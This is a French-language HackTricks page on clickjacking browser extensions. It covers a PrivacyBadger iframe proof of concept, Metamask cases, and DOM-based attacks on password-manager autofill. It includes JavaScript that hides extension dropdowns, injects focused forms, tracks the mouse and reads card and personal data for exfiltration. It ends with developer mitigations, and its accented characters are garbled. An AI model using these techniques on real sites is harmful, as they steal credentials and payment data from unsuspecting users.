BrowExt - ClickJacking
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
Cette page va exploiter une vulnérabilité de ClickJacking dans une extension de navigateur.
Si vous ne savez pas ce quâest le ClickJacking, consultez :
Extensions contains the file manifest.json and that JSON file has a field web_accessible_resources. Hereâs what the Chrome docs say about it:
Ces ressources seraient alors accessibles dans une page web via lâURL
chrome-extension://[PACKAGE ID]/[PATH], which can be generated with theextension.getURL method. Allowlisted resources are served with appropriate CORS headers, so theyâre available via mechanisms like XHR.1
Les web_accessible_resources dâune extension de navigateur ne sont pas seulement accessibles via le web ; elles fonctionnent aussi avec les privilĂšges inhĂ©rents de lâextension. Cela signifie quâelles ont la capacitĂ© de :
- Modifier lâĂ©tat de lâextension
- Charger des ressources supplémentaires
- Interagir avec le navigateur dans une certaine mesure
Cependant, cette fonctionnalitĂ© prĂ©sente un risque de sĂ©curitĂ©. Si une ressource dĂ©clarĂ©e dans web_accessible_resources possĂšde une fonctionnalitĂ© importante, un attaquant pourrait potentiellement intĂ©grer cette ressource dans une page web externe. Des utilisateurs non mĂ©fiants visitant cette page pourraient involontairement activer cette ressource intĂ©grĂ©e. Une telle activation pourrait entraĂźner des consĂ©quences imprĂ©vues, selon les permissions et les capacitĂ©s des ressources de lâextension.
PrivacyBadger Example
Dans lâextension PrivacyBadger, une vulnĂ©rabilitĂ© a Ă©tĂ© identifiĂ©e liĂ©e au rĂ©pertoire skin/ dĂ©clarĂ© comme web_accessible_resources de la maniĂšre suivante (Consultez le [blog post] original):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Cette configuration a conduit Ă un problĂšme de sĂ©curitĂ© potentiel. Plus prĂ©cisĂ©ment, le fichier skin/popup.html, qui est rendu lors de lâinteraction avec lâicĂŽne PrivacyBadger dans le navigateur, pouvait ĂȘtre intĂ©grĂ© dans un iframe. Cette intĂ©gration pouvait ĂȘtre exploitĂ©e pour tromper les utilisateurs et les amener involontairement Ă cliquer sur âDisable PrivacyBadger for this Websiteâ. Une telle action compromettrait la vie privĂ©e de lâutilisateur en dĂ©sactivant la protection PrivacyBadger et en lâexposant potentiellement Ă un suivi accru. Une dĂ©monstration visuelle de cet exploit peut ĂȘtre consultĂ©e dans une vidĂ©o ClickJacking fournie Ă https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Pour remĂ©dier Ă cette vulnĂ©rabilitĂ©, une solution simple a Ă©tĂ© mise en Ćuvre : la suppression de /skin/* de la liste des web_accessible_resources. Ce changement a efficacement attĂ©nuĂ© le risque en garantissant que le contenu du rĂ©pertoire skin/ ne puisse pas ĂȘtre accĂ©dĂ© ou manipulĂ© via des web-accessible resources.
La correction a été simple : remove /skin/* from the web_accessible_resources.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Exemple
Un article de blog sur un ClickJacking dans metamask est disponible ici. Dans ce cas, Metamask a corrigé la vulnérabilité en vérifiant que le protocole utilisé pour y accéder était https: ou http: (pas chrome: par exemple) :
.png)
Another ClickJacking fixed dans lâextension Metamask concernait le fait que les utilisateurs pouvaient Click to whitelist lorsquâune page Ă©tait suspectĂ©e de phishing Ă cause de âweb_accessible_resourcesâ: [âinpage.jsâ, âphishing.htmlâ]. Comme cette page Ă©tait vulnĂ©rable au Clickjacking, un attaquant pouvait en abuser en affichant quelque chose de normal pour pousser la victime Ă cliquer pour la whitelist sans sâen rendre compte, puis revenir Ă la page de phishing qui sera whitelistĂ©e.
Steam Inventory Helper Exemple
Consultez la page suivante pour voir comment un XSS dans une extension de navigateur a été enchaßné avec une vulnérabilité de ClickJacking :
DOM-based Extension Clickjacking (Password Manager Autofill UIs)
Les Clickjacking classiques dâextension exploitent des web_accessible_resources mal configurĂ©s pour iframe du HTML privilĂ©giĂ© et provoquer des clics utilisateurs. Une classe plus rĂ©cente, DOM-based extension clickjacking, cible directement les dropdowns dâautofill injectĂ©s par les password managers dans le DOM de la page et utilise des astuces CSS/DOM pour les cacher ou les occulter tout en les laissant cliquables. Un seul clic contraint peut sĂ©lectionner un Ă©lĂ©ment enregistrĂ© et remplir des champs contrĂŽlĂ©s par lâattaquant avec des donnĂ©es sensibles.
ModĂšle de menace
- Lâattaquant contrĂŽle une page web (ou obtient un XSS/takeover de sous-domaine/cache poisoning sur un domaine liĂ©).
- La victime a une extension password manager installĂ©e et dĂ©verrouillĂ©e (certaines effectuent lâautofill mĂȘme lorsquâelles semblent verrouillĂ©es).
- Au moins un clic utilisateur est induit (banniĂšres de cookies overlay, dialogues, CAPTCHAs, jeux, etc.).
Flux dâattaque (autofill manuel)
- Injecter un formulaire invisible mais focusable (champs login/PII/carte de crédit).
- Focaliser un input pour provoquer lâapparition du dropdown dâautofill de lâextension prĂšs du champ.
- Cacher ou occulter lâUI de lâextension tout en la laissant interactive.
- Aligner un contrÎle crédible sous le dropdown masqué pour contraindre un clic qui sélectionne un élément.
- Lire les valeurs remplies dans le formulaire de lâattaquant et les exfiltrer.
Comment masquer lâautofill UI
- ĂlĂ©ment dâextension
- OpacitĂ© de lâĂ©lĂ©ment racine (gĂ©nĂ©rique) :
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- Enfant Ă lâintĂ©rieur dâun ShadowRoot ouvert (balise dynamique, masquer lâiframe interne):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- ĂlĂ©ment parent
- BODY/HTML astuces dâopacitĂ© pour rendre lâUI de lâextension invisible tandis que la page semble normale (par ex., arriĂšre-plan pour les captures dâĂ©cran):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- Recouvrement
- Recouvrement partiel : occulter tout sauf quelques pixels pour que le menu dĂ©roulant reste cliquable (assurez-vous que le recouvrement de lâattaquant soit le dernier dans le DOM avec max z-index, ou utilisez Top Layer).
- Recouvrement complet en utilisant pointer-events:none pour que les clics passent au menu déroulant caché ; maintenez-le persistant avec la Popover API:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
Positionnement du clic de la victime
- Placement fixe: positionnez le menu dĂ©roulant cachĂ© sous un contrĂŽle crĂ©dible tel que âAccept cookiesâ, âCloseâ, ou une case CAPTCHA.
- Follow-mouse: dĂ©placez le champ focalisĂ© sous le curseur pour que le menu dĂ©roulant le suive ; refocalisez pĂ©riodiquement pour quâun seul clic nâimporte oĂč sĂ©lectionne un Ă©lĂ©ment :
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
Impact et scénarios
- Site contrĂŽlĂ© par lâattaquant : un seul clic contraint peut exfiltrer des donnĂ©es de carte de crĂ©dit (numĂ©ro/date dâexpiration/CVC) et des informations personnelles (nom, eâmail, tĂ©lĂ©phone, adresse, date de naissance (DOB)) qui ne sont pas limitĂ©es au domaine.
- Site de confiance avec XSS/subdomain takeover/cache poisoning : vol multi-clic des identifiants (username/password) et TOTP, car de nombreux managers effectuent de lâautofill sur des sous-domaines/domaines parents associĂ©s (p.ex.,
*.example.com). - Passkeys : si le RP nâassocie pas les challenges WebAuthn Ă la session, XSS peut intercepter lâassertion signĂ©e ; le DOM-based clickjacking masque lâinvite de passkey pour obtenir le clic de confirmation de lâutilisateur.
Limitations
- Nécessite au moins un clic utilisateur et un bon alignement des pixels (des overlays réalistes facilitent la sollicitation du clic).
- Le verrouillage automatique/la dĂ©connexion rĂ©duit les fenĂȘtres dâexploitation ; certains managers remplissent encore automatiquement mĂȘme lorsquâils sont « verrouillĂ©s ».
Extension developer mitigations
- Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
- Resist CSS tampering: prefer Closed Shadow DOM and monitor with
MutationObserverfor suspicious style changes on UI roots. - Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable
pointer-events:none, and useelementsFromPoint()to detect occlusion; close UI if overlays exist. - Detect suspicious
<body>/<html>opacity or style changes both pre- and post-render. - For iframe-based issues: scope MV3
web_accessible_resourcesmatchesnarrowly and avoid exposing HTML UIs; for unavoidable HTML, serveX-Frame-Options: DENYorContent-Security-Policy: frame-ancestors 'none'.
Références
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
- DOM-based Extension Clickjacking (marektoth.com)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


